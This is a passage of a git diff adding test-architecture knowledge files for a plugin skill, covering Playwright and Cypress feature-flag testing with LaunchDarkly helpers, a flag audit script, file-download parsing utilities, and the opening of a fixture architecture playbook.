+  test('should use LEGACY checkout flow when flag is DISABLED', async ({ page, request }) => {
+    // Arrange: Disable flag for test user (or don't target at all)
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: false, // DISABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Legacy flow UI elements visible
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+    await expect(page.getByTestId('legacy-payment-form')).toBeVisible();
+
+    // Assert: New flow NOT visible
+    await expect(page.getByTestId('checkout-v2-container')).not.toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).not.toBeVisible();
+
+    // Assert: Telemetry event fired with correct variant
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'legacy_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should handle flag evaluation errors gracefully', async ({ page, request }) => {
+    // Arrange: Simulate flag service unavailable
+    await page.route('**/api/feature-flags/evaluate', (route) => route.fulfill({ status: 500, body: 'Service Unavailable' }));
+
+    // Act: Navigate (should fallback to default state)
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Fallback to safe default (legacy flow)
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+
+    // Assert: Error logged but no user-facing error
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+    expect(consoleErrors).toContain(expect.stringContaining('Feature flag evaluation failed'));
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout-feature-flag.cy.ts
+import { FLAGS } from '@/utils/feature-flags';
+
+describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId;
+
+  beforeEach(() => {
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  afterEach(() => {
+    // Clean up targeting
+    cy.task('removeFeatureFlagTarget', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+    });
+  });
+
+  it('should use NEW checkout flow when flag is ENABLED', () => {
+    // Arrange: Enable flag via Cypress task
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: true,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v2-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v1-container"]').should('not.exist');
+  });
+
+  it('should use LEGACY checkout flow when flag is DISABLED', () => {
+    // Arrange: Disable flag
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: false,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v1-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v2-container"]').should('not.exist');
+  });
+});
+```
+
+**Key Points**:
+
+- **Test both states**: Enabled AND disabled variations
+- **Automatic cleanup**: afterEach removes targeting (prevent pollution)
+- **Unique test users**: Avoid conflicts with real user data
+- **Telemetry validation**: Verify analytics events fire correctly
+- **Graceful degradation**: Test fallback behavior on errors
+
+---
+
+### Example 3: Feature Flag Targeting Helper Pattern
+
+**Context**: Reusable helpers for programmatic flag control via LaunchDarkly/Split.io API.
+
+**Implementation**:
+
+```typescript
+// tests/support/feature-flag-helpers.ts
+import { request as playwrightRequest } from '@playwright/test';
+import { FLAGS, FlagKey } from '@/utils/feature-flags';
+
+/**
+ * LaunchDarkly API client configuration
+ * Use test project SDK key (NOT production)
+ */
+const LD_SDK_KEY = process.env.LD_SDK_KEY_TEST;
+const LD_API_BASE = 'https://app.launchdarkly.com/api/v2';
+
+type FlagVariation = boolean | string | number | object;
+
+/**
+ * Set flag variation for specific user
+ * Uses LaunchDarkly API to create user target
+ */
+export async function setFlagForUser(flagKey: FlagKey, userId: string, variation: FlagVariation): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.post(`${LD_API_BASE}/flags/${flagKey}/targeting`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        targets: [
+          {
+            values: [userId],
+            variation: variation ? 1 : 0, // 0 = off, 1 = on
+          },
+        ],
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set flag ${flagKey} for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Remove user from flag targeting
+ * CRITICAL for test cleanup
+ */
+export async function removeFlagTarget(flagKey: FlagKey, userId: string): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.delete(`${LD_API_BASE}/flags/${flagKey}/targeting/users/${userId}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+      },
+    }),
+  );
+
+  if (!response.ok() && response.status() !== 404) {
+    // 404 is acceptable (user wasn't targeted)
+    throw new Error(`Failed to remove flag ${flagKey} target for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Percentage rollout helper
+ * Enable flag for N% of users
+ */
+export async function setFlagRolloutPercentage(flagKey: FlagKey, percentage: number): Promise<void> {
+  if (percentage < 0 || percentage > 100) {
+    throw new Error('Percentage must be between 0 and 100');
+  }
+
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.patch(`${LD_API_BASE}/flags/${flagKey}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        rollout: {
+          variations: [
+            { variation: 0, weight: 100 - percentage }, // off
+            { variation: 1, weight: percentage }, // on
+          ],
+        },
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set rollout for flag ${flagKey}: ${response.status()}`);
+  }
+}
+
+/**
+ * Enable flag globally (100% rollout)
+ */
+export async function enableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 100);
+}
+
+/**
+ * Disable flag globally (0% rollout)
+ */
+export async function disableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 0);
+}
+
+/**
+ * Stub feature flags in local/test environments
+ * Bypasses LaunchDarkly entirely
+ */
+export function stubFeatureFlags(flags: Record<FlagKey, FlagVariation>): void {
+  // Set flags in localStorage or inject into window
+  if (typeof window !== 'undefined') {
+    (window as any).__STUBBED_FLAGS__ = flags;
+  }
+}
+```
+
+**Usage in Playwright fixture**:
+
+```typescript
+// playwright/fixtures/feature-flag-fixture.ts
+import { test as base } from '@playwright/test';
+import { setFlagForUser, removeFlagTarget } from '../support/feature-flag-helpers';
+import { FlagKey } from '@/utils/feature-flags';
+
+type FeatureFlagFixture = {
+  featureFlags: {
+    enable: (flag: FlagKey, userId: string) => Promise<void>;
+    disable: (flag: FlagKey, userId: string) => Promise<void>;
+    cleanup: (flag: FlagKey, userId: string) => Promise<void>;
+  };
+};
+
+export const test = base.extend<FeatureFlagFixture>({
+  featureFlags: async ({}, use) => {
+    const cleanupQueue: Array<{ flag: FlagKey; userId: string }> = [];
+
+    await use({
+      enable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, true);
+        cleanupQueue.push({ flag, userId });
+      },
+      disable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, false);
+        cleanupQueue.push({ flag, userId });
+      },
+      cleanup: async (flag, userId) => {
+        await removeFlagTarget(flag, userId);
+      },
+    });
+
+    // Auto-cleanup after test
+    for (const { flag, userId } of cleanupQueue) {
+      await removeFlagTarget(flag, userId);
+    }
+  },
+});
+```
+
+**Key Points**:
+
+- **API-driven control**: No manual UI clicks required
+- **Auto-cleanup**: Fixture tracks and removes targeting
+- **Percentage rollouts**: Test gradual feature releases
+- **Stubbing option**: Local development without LaunchDarkly
+- **Type-safe**: FlagKey prevents typos
+
+---
+
+### Example 4: Feature Flag Lifecycle Checklist & Cleanup Strategy
+
+**Context**: Governance checklist and automated cleanup detection for stale flags.
+
+**Implementation**:
+
+```typescript
+// scripts/feature-flag-audit.ts
+/**
+ * Feature Flag Lifecycle Audit Script
+ * Run weekly to detect stale flags requiring cleanup
+ */
+
+import { FLAG_REGISTRY, FLAGS, getExpiredFlags, FlagKey } from '../src/utils/feature-flags';
+import * as fs from 'fs';
+import * as path from 'path';
+
+type AuditResult = {
+  totalFlags: number;
+  expiredFlags: FlagKey[];
+  missingOwners: FlagKey[];
+  missingDates: FlagKey[];
+  permanentFlags: FlagKey[];
+  flagsNearingExpiry: FlagKey[];
+};
+
+/**
+ * Audit all feature flags for governance compliance
+ */
+function auditFeatureFlags(): AuditResult {
+  const allFlags = Object.keys(FLAG_REGISTRY) as FlagKey[];
+  const expiredFlags = getExpiredFlags().map((meta) => meta.key);
+
+  // Flags expiring in next 30 days
+  const thirtyDaysFromNow = Date.now() + 30 * 24 * 60 * 60 * 1000;
+  const flagsNearingExpiry = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    if (!meta.expiryDate) return false;
+    const expiry = new Date(meta.expiryDate).getTime();
+    return expiry > Date.now() && expiry < thirtyDaysFromNow;
+  });
+
+  // Missing metadata
+  const missingOwners = allFlags.filter((flag) => !FLAG_REGISTRY[flag].owner);
+  const missingDates = allFlags.filter((flag) => !FLAG_REGISTRY[flag].createdDate);
+
+  // Permanent flags (no expiry, requiresCleanup = false)
+  const permanentFlags = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    return !meta.expiryDate && !meta.requiresCleanup;
+  });
+
+  return {
+    totalFlags: allFlags.length,
+    expiredFlags,
+    missingOwners,
+    missingDates,
+    permanentFlags,
+    flagsNearingExpiry,
+  };
+}
+
+/**
+ * Generate markdown report
+ */
+function generateReport(audit: AuditResult): string {
+  let report = `# Feature Flag Audit Report\n\n`;
+  report += `**Date**: ${new Date().toISOString()}\n`;
+  report += `**Total Flags**: ${audit.totalFlags}\n\n`;
+
+  if (audit.expiredFlags.length > 0) {
+    report += `## ⚠️ EXPIRED FLAGS - IMMEDIATE CLEANUP REQUIRED\n\n`;
+    audit.expiredFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expired: ${meta.expiryDate}\n`;
+      report += `  - Action: Remove flag code, update tests, deploy\n\n`;
+    });
+  }
+
+  if (audit.flagsNearingExpiry.length > 0) {
+    report += `## ⏰ FLAGS EXPIRING SOON (Next 30 Days)\n\n`;
+    audit.flagsNearingExpiry.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expires: ${meta.expiryDate}\n`;
+      report += `  - Action: Plan cleanup or extend expiry\n\n`;
+    });
+  }
+
+  if (audit.permanentFlags.length > 0) {
+    report += `## 🔄 PERMANENT FLAGS (No Expiry)\n\n`;
+    audit.permanentFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`) - Owner: ${meta.owner}\n`;
+    });
+    report += `\n`;
+  }
+
+  if (audit.missingOwners.length > 0 || audit.missingDates.length > 0) {
+    report += `## ❌ GOVERNANCE ISSUES\n\n`;
+    if (audit.missingOwners.length > 0) {
+      report += `**Missing Owners**: ${audit.missingOwners.join(', ')}\n`;
+    }
+    if (audit.missingDates.length > 0) {
+      report += `**Missing Created Dates**: ${audit.missingDates.join(', ')}\n`;
+    }
+    report += `\n`;
+  }
+
+  return report;
+}
+
+/**
+ * Feature Flag Lifecycle Checklist
+ */
+const FLAG_LIFECYCLE_CHECKLIST = `
+# Feature Flag Lifecycle Checklist
+
+## Before Creating a New Flag
+
+- [ ] **Name**: Follow naming convention (kebab-case, descriptive)
+- [ ] **Owner**: Assign team/individual responsible
+- [ ] **Default State**: Determine safe default (usually false)
+- [ ] **Expiry Date**: Set removal date (30-90 days typical)
+- [ ] **Dependencies**: Document related flags
+- [ ] **Telemetry**: Plan analytics events to track
+- [ ] **Rollback Plan**: Define how to disable quickly
+
+## During Development
+
+- [ ] **Code Paths**: Both enabled/disabled states implemented
+- [ ] **Tests**: Both variations tested in CI
+- [ ] **Documentation**: Flag purpose documented in code/PR
+- [ ] **Telemetry**: Analytics events instrumented
+- [ ] **Error Handling**: Graceful degradation on flag service failure
+
+## Before Launch
+
+- [ ] **QA**: Both states tested in staging
+- [ ] **Rollout Plan**: Gradual rollout percentage defined
+- [ ] **Monitoring**: Dashboards/alerts for flag-related metrics
+- [ ] **Stakeholder Communication**: Product/design aligned
+
+## After Launch (Monitoring)
+
+- [ ] **Metrics**: Success criteria tracked
+- [ ] **Error Rates**: No increase in errors
+- [ ] **Performance**: No degradation
+- [ ] **User Feedback**: Qualitative data collected
+
+## Cleanup (Post-Launch)
+
+- [ ] **Remove Flag Code**: Delete if/else branches
+- [ ] **Update Tests**: Remove flag-specific tests
+- [ ] **Remove Targeting**: Clear all user targets
+- [ ] **Delete Flag Config**: Remove from LaunchDarkly/registry
+- [ ] **Update Documentation**: Remove references
+- [ ] **Deploy**: Ship cleanup changes
+`;
+
+// Run audit
+const audit = auditFeatureFlags();
+const report = generateReport(audit);
+
+// Save report
+const outputPath = path.join(__dirname, '../feature-flag-audit-report.md');
+fs.writeFileSync(outputPath, report);
+fs.writeFileSync(path.join(__dirname, '../FEATURE-FLAG-CHECKLIST.md'), FLAG_LIFECYCLE_CHECKLIST);
+
+console.log(`✅ Audit complete. Report saved to: ${outputPath}`);
+console.log(`Total flags: ${audit.totalFlags}`);
+console.log(`Expired flags: ${audit.expiredFlags.length}`);
+console.log(`Flags expiring soon: ${audit.flagsNearingExpiry.length}`);
+
+// Exit with error if expired flags exist
+if (audit.expiredFlags.length > 0) {
+  console.error(`\n❌ EXPIRED FLAGS DETECTED - CLEANUP REQUIRED`);
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "feature-flags:audit": "ts-node scripts/feature-flag-audit.ts",
+    "feature-flags:audit:ci": "npm run feature-flags:audit || true"
+  }
+}
+```
+
+**Key Points**:
+
+- **Automated detection**: Weekly audit catches stale flags
+- **Lifecycle checklist**: Comprehensive governance guide
+- **Expiry tracking**: Flags auto-expire after defined date
+- **CI integration**: Audit runs in pipeline, warns on expiry
+- **Ownership clarity**: Every flag has assigned owner
+
+---
+
+## Feature Flag Testing Checklist
+
+Before merging flag-related code, verify:
+
+- [ ] **Both states tested**: Enabled AND disabled variations covered
+- [ ] **Cleanup automated**: afterEach removes targeting (no manual cleanup)
+- [ ] **Unique test data**: Test users don't collide with production
+- [ ] **Telemetry validated**: Analytics events fire for both variations
+- [ ] **Error handling**: Graceful fallback when flag service unavailable
+- [ ] **Flag metadata**: Owner, dates, dependencies documented in registry
+- [ ] **Rollback plan**: Clear steps to disable flag in production
+- [ ] **Expiry date set**: Removal date defined (or marked permanent)
+
+## Integration Points
+
+- Used in workflows: `*automate` (test generation), `*framework` (flag setup)
+- Related fragments: `test-quality.md`, `selective-testing.md`
+- Flag services: LaunchDarkly, Split.io, Unleash, custom implementations
+
+_Source: LaunchDarkly strategy blog, Murat test architecture notes, enterprise feature flag governance_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/file-utils.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/file-utils.md
new file mode 100644
index 0000000..b515d24
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/file-utils.md
@@ -0,0 +1,456 @@
+# File Utilities
+
+## Principle
+
+Read and validate files (CSV, XLSX, PDF, ZIP) with automatic parsing, type-safe results, and download handling. Simplify file operations in Playwright tests with built-in format support and validation helpers.
+
+## Rationale
+
+Testing file operations in Playwright requires boilerplate:
+
+- Manual download handling
+- External parsing libraries for each format
+- No validation helpers
+- Type-unsafe results
+- Repetitive path handling
+
+The `file-utils` module provides:
+
+- **Auto-parsing**: CSV, XLSX, PDF, ZIP automatically parsed
+- **Download handling**: Single function for UI or API-triggered downloads
+- **Type-safe**: TypeScript interfaces for parsed results
+- **Validation helpers**: Row count, header checks, content validation
+- **Format support**: Multiple sheet support (XLSX), text extraction (PDF), archive extraction (ZIP)
+
+## Why Use This Instead of Vanilla Playwright?
+
+| Vanilla Playwright                          | File Utils                                       |
+| ------------------------------------------- | ------------------------------------------------ |
+| ~80 lines per CSV flow (download + parse)   | ~10 lines end-to-end                             |
+| Manual event orchestration for downloads    | Encapsulated in `handleDownload()`               |
+| Manual path handling and `saveAs`           | Returns a ready-to-use file path                 |
+| Manual existence checks and error handling  | Centralized in one place via utility patterns    |
+| Manual CSV parsing config (headers, typing) | `readCSV()` returns `{ data, headers }` directly |
+
+## Pattern Examples
+
+### Example 1: UI-Triggered CSV Download
+
+**Context**: User clicks button, CSV downloads, validate contents.
+
+**Implementation**:
+
+```typescript
+import { handleDownload, readCSV } from '@seontechnologies/playwright-utils/file-utils';
+import path from 'node:path';
+
+const DOWNLOAD_DIR = path.join(__dirname, '../downloads');
+
+test('should download and validate CSV', async ({ page }) => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-text/csv').click(),
+  });
+
+  const csvResult = await readCSV({ filePath: downloadPath });
+
+  // Access parsed data and headers
+  const { data, headers } = csvResult.content;
+  expect(headers).toEqual(['ID', 'Name', 'Email']);
+  expect(data[0]).toMatchObject({
+    ID: expect.any(String),
+    Name: expect.any(String),
+    Email: expect.any(String),
+  });
+});
+```
+
+**Key Points**:
+
+- `handleDownload` waits for download, returns file path
+- `readCSV` auto-parses to `{ headers, data }`
+- Type-safe access to parsed content
+- Clean up downloads in `afterEach`
+
+### Example 2: XLSX with Multiple Sheets
+
+**Context**: Excel file with multiple sheets (e.g., Summary, Details, Errors).
+
+**Implementation**:
+
+```typescript
+import { readXLSX } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should read multi-sheet XLSX', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="export-xlsx"]'),
+  });
+
+  const xlsxResult = await readXLSX({ filePath: downloadPath });
+
+  // Verify worksheet structure
+  expect(xlsxResult.content.worksheets.length).toBeGreaterThan(0);
+  const worksheet = xlsxResult.content.worksheets[0];
+  expect(worksheet).toBeDefined();
+  expect(worksheet).toHaveProperty('name');
+
+  // Access sheet data
+  const sheetData = worksheet?.data;
+  expect(Array.isArray(sheetData)).toBe(true);
+
+  // Use type assertion for type safety
+  const firstRow = sheetData![0] as Record<string, unknown>;
+  expect(firstRow).toHaveProperty('id');
+});
+```
+
+**Key Points**:
+
+- `worksheets` array with `name` and `data` properties
+- Access sheets by name
+- Each sheet has its own headers and data
+- Type-safe sheet iteration
+
+### Example 3: PDF Text Extraction
+
+**Context**: Validate PDF report contains expected content.
+
+**Implementation**:
+
+```typescript
+import { readPDF } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate PDF report', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-Text-based PDF Document').click(),
+  });
+
+  const pdfResult = await readPDF({ filePath: downloadPath });
+
+  // content is extracted text from all pages
+  expect(pdfResult.pagesCount).toBe(1);
+  expect(pdfResult.fileName).toContain('.pdf');
+  expect(pdfResult.content).toContain('All you need is the free Adobe Acrobat Reader');
+});
+```
+
+**PDF Reader Options:**
+
+```typescript
+const result = await readPDF({
+  filePath: '/path/to/document.pdf',
+  mergePages: false, // Keep pages separate (default: true)
+  debug: true, // Enable debug logging
+  maxPages: 10, // Limit processing to first 10 pages
+});
+```
+
+**Important Limitation - Vector-based PDFs:**
+
+Text extraction may fail for PDFs that store text as vector graphics (e.g., those generated by jsPDF):
+
+```typescript
+// Vector-based PDF example (extraction fails gracefully)
+const pdfResult = await readPDF({ filePath: downloadPath });
+
+expect(pdfResult.pagesCount).toBe(1);
+expect(pdfResult.info.extractionNotes).toContain('Text extraction from vector-based PDFs is not supported.');
+```
+
+Such PDFs will have:
+
+- `textExtractionSuccess: false`
+- `isVectorBased: true`
+- Explanatory message in `extractionNotes`
+
+### Example 4: ZIP Archive Validation
+
+**Context**: Validate ZIP contains expected files and extract specific file.
+
+**Implementation**:
+
+```typescript
+import { readZIP } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate ZIP archive', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="download-backup"]'),
+  });
+
+  const zipResult = await readZIP({ filePath: downloadPath });
+
+  // Check file list
+  expect(Array.isArray(zipResult.content.entries)).toBe(true);
+  expect(zipResult.content.entries).toContain('Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv');
+
+  // Extract specific file
+  const targetFile = 'Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv';
+  const zipWithExtraction = await readZIP({
+    filePath: downloadPath,
+    fileToExtract: targetFile,
+  });
+
+  // Access extracted file buffer
+  const extractedFiles = zipWithExtraction.content.extractedFiles || {};
+  const fileBuffer = extractedFiles[targetFile];
+  expect(fileBuffer).toBeInstanceOf(Buffer);
+  expect(fileBuffer?.length).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `content.entries` lists all files in archive
+- `fileToExtract` extracts specific files to Buffer
+- Validate archive structure
+- Read and parse individual files from ZIP
+
+### Example 5: API-Triggered Download
+
+**Context**: API endpoint returns file download (not UI click).
+
+**Implementation**:
+
+```typescript
+test('should download via API', async ({ page, request }) => {
+  const downloadPath = await handleDownload({
+    page, // Still need page for download events
+    downloadDir: DOWNLOAD_DIR,
+    trigger: async () => {
+      const response = await request.get('/api/export/csv', {
+        headers: { Authorization: 'Bearer token' },
+      });
+
+      if (!response.ok()) {
+        throw new Error(`Export failed: ${response.status()}`);
+      }
+    },
+  });
+
+  const { content } = await readCSV({ filePath: downloadPath });
+
+  expect(content.data).toHaveLength(100);
+});
+```
+
+**Key Points**:
+
+- `trigger` can be async API call
+- API must return `Content-Disposition` header
+- Still need `page` for download events
+- Works with authenticated endpoints
+
+### Example 6: Reading CSV from Buffer (ZIP extraction)
+
+**Context**: Read CSV content directly from a Buffer (e.g., extracted from ZIP).
+
+**Implementation**:
+
+```typescript
+// Read from a Buffer (e.g., extracted from a ZIP)
+const zipResult = await readZIP({
+  filePath: 'archive.zip',
+  fileToExtract: 'data.csv',
+});
+const fileBuffer = zipResult.content.extractedFiles?.['data.csv'];
+const csvFromBuffer = await readCSV({ content: fileBuffer });
+
+// Read from a string
+const csvString = 'name,age\nJohn,30\nJane,25';
+const csvFromString = await readCSV({ content: csvString });
+
+const { data, headers } = csvFromString.content;
+expect(headers).toContain('name');
+expect(headers).toContain('age');
+```
+
+## API Reference
+
+### CSV Reader Options
+
+| Option         | Type               | Default  | Description                            |
+| -------------- | ------------------ | -------- | -------------------------------------- |
+| `filePath`     | `string`           | -        | Path to CSV file (mutually exclusive)  |
+| `content`      | `string \| Buffer` | -        | Direct content (mutually exclusive)    |
+| `delimiter`    | `string \| 'auto'` | `','`    | Value separator, auto-detect if 'auto' |
+| `encoding`     | `string`           | `'utf8'` | File encoding                          |
+| `parseHeaders` | `boolean`          | `true`   | Use first row as headers               |
+| `trim`         | `boolean`          | `true`   | Trim whitespace from values            |
+
+### XLSX Reader Options
+
+| Option      | Type     | Description                    |
+| ----------- | -------- | ------------------------------ |
+| `filePath`  | `string` | Path to XLSX file              |
+| `sheetName` | `string` | Name of sheet to set as active |
+
+### PDF Reader Options
+
+| Option       | Type      | Default | Description                 |
+| ------------ | --------- | ------- | --------------------------- |
+| `filePath`   | `string`  | -       | Path to PDF file (required) |
+| `mergePages` | `boolean` | `true`  | Merge text from all pages   |
+| `maxPages`   | `number`  | -       | Maximum pages to extract    |
+| `debug`      | `boolean` | `false` | Enable debug logging        |
+
+### ZIP Reader Options
+
+| Option          | Type     | Description                        |
+| --------------- | -------- | ---------------------------------- |
+| `filePath`      | `string` | Path to ZIP file                   |
+| `fileToExtract` | `string` | Specific file to extract to Buffer |
+
+### Return Values
+
+#### CSV Reader Return Value
+
+```typescript
+{
+  content: {
+    data: Array<Array<string | number>>,  // Parsed rows (excludes header row if parseHeaders: true)
+    headers: string[] | null              // Column headers (null if parseHeaders: false)
+  }
+}
+```
+
+#### XLSX Reader Return Value
+
+```typescript
+{
+  content: {
+    worksheets: Array<{
+      name: string; // Sheet name
+      rows: Array<Array<any>>; // All rows including headers
+      headers?: string[]; // First row as headers (if present)
+    }>;
+  }
+}
+```
+
+#### PDF Reader Return Value
+
+```typescript
+{
+  content: string,                        // Extracted text (merged or per-page based on mergePages)
+  pagesCount: number,                     // Total pages in PDF
+  fileName?: string,                      // Original filename if available
+  info?: Record<string, any>              // PDF metadata (author, title, etc.)
+}
+```
+
+> **Note**: When `mergePages: false`, `content` is an array of strings (one per page). When `maxPages` is set, only that many pages are extracted.
+
+#### ZIP Reader Return Value
+
+```typescript
+{
+  content: {
+    entries: Array<{
+      name: string,                       // File/directory path within ZIP
+      size: number,                       // Uncompressed size in bytes
+      isDirectory: boolean                // True for directories
+    }>,
+    extractedFiles: Record<string, Buffer | string>  // Extracted file contents by path
+  }
+}
+```
+
+> **Note**: When `fileToExtract` is specified, only that file appears in `extractedFiles`.
+
+## Download Cleanup Pattern
+
+```typescript
+test.afterEach(async () => {
+  // Clean up downloaded files
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
+
+## Comparison with Vanilla Playwright
+
+Vanilla Playwright (real test) snippet:
+
+```typescript
+// ~80 lines of boilerplate!
+const [download] = await Promise.all([page.waitForEvent('download'), page.getByTestId('download-button-CSV Export').click()]);
+
+const failure = await download.failure();
+expect(failure).toBeNull();
+
+const filePath = testInfo.outputPath(download.suggestedFilename());
+await download.saveAs(filePath);
+
+await expect
+  .poll(
+    async () => {
+      try {
+        await fs.access(filePath);
+        return true;
+      } catch {
+        return false;
+      }
+    },
+    { timeout: 5000, intervals: [100, 200, 500] },
+  )
+  .toBe(true);
+
+const csvContent = await fs.readFile(filePath, 'utf-8');
+
+const parseResult = parse(csvContent, {
+  header: true,
+  skipEmptyLines: true,
+  dynamicTyping: true,
+  transformHeader: (header: string) => header.trim(),
+});
+
+if (parseResult.errors.length > 0) {
+  throw new Error(`CSV parsing errors: ${JSON.stringify(parseResult.errors)}`);
+}
+
+const data = parseResult.data as Array<Record<string, unknown>>;
+const headers = parseResult.meta.fields || [];
+```
+
+With File Utils, the same flow becomes:
+
+```typescript
+const downloadPath = await handleDownload({
+  page,
+  downloadDir: DOWNLOAD_DIR,
+  trigger: () => page.getByTestId('download-button-text/csv').click(),
+});
+
+const { data, headers } = (await readCSV({ filePath: downloadPath })).content;
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and imports
+- `api-request.md` - API-triggered downloads
+- `recurse.md` - Poll for file generation completion
+
+## Anti-Patterns
+
+**DON'T leave downloads in place:**
+
+```typescript
+test('creates file', async () => {
+  await handleDownload({ ... })
+  // File left in downloads folder
+})
+```
+
+**DO clean up after tests:**
+
+```typescript
+test.afterEach(async () => {
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/fixture-architecture.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/fixture-architecture.md
new file mode 100644
index 0000000..0f617a4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/fixture-architecture.md
@@ -0,0 +1,401 @@
+# Fixture Architecture Playbook
+
+## Principle
+
+Build test helpers as pure functions first, then wrap them in framework-specific fixtures. Compose capabilities using `mergeTests` (Playwright) or layered commands (Cypress) instead of inheritance. Each fixture should solve one isolated concern (auth, API, logs, network).
+
+## Rationale
+
+Traditional Page Object Models create tight coupling through inheritance chains (`BasePage → LoginPage → AdminPage`). When base classes change, all descendants break. Pure functions with fixture wrappers provide:
+
+- **Testability**: Pure functions run in unit tests without framework overhead
+- **Composability**: Mix capabilities freely via `mergeTests`, no inheritance constraints
+- **Reusability**: Export fixtures via package subpaths for cross-project sharing
+- **Maintainability**: One concern per fixture = clear responsibility boundaries
+
+## Pattern Examples
+
+### Example 1: Pure Function → Fixture Pattern
+
+**Context**: When building any test helper, always start with a pure function that accepts all dependencies explicitly. Then wrap it in a Playwright fixture or Cypress command.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/api-request.ts
+// Step 1: Pure function (ALWAYS FIRST!)
+type ApiRequestParams = {
+  request: APIRequestContext;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  url: string;
+  data?: unknown;
+  headers?: Record<string, string>;
+};
+
+export async function apiRequest({
+  request,
+  method,
+  url,
+  data,
+  headers = {}
+}: ApiRequestParams) {
+  const response = await request.fetch(url, {
+    method,
+    data,
+    headers: {
+      'Content-Type': 'application/json',
+      ...headers
+    }
+  });
+
+  if (!response.ok()) {
+    throw new Error(`API request failed: ${response.status()} ${await response.text()}`);
+  }
+
+  return response.json();
+}
+
+// Step 2: Fixture wrapper
+// playwright/support/fixtures/api-request-fixture.ts
+import { test as base } from '@playwright/test';
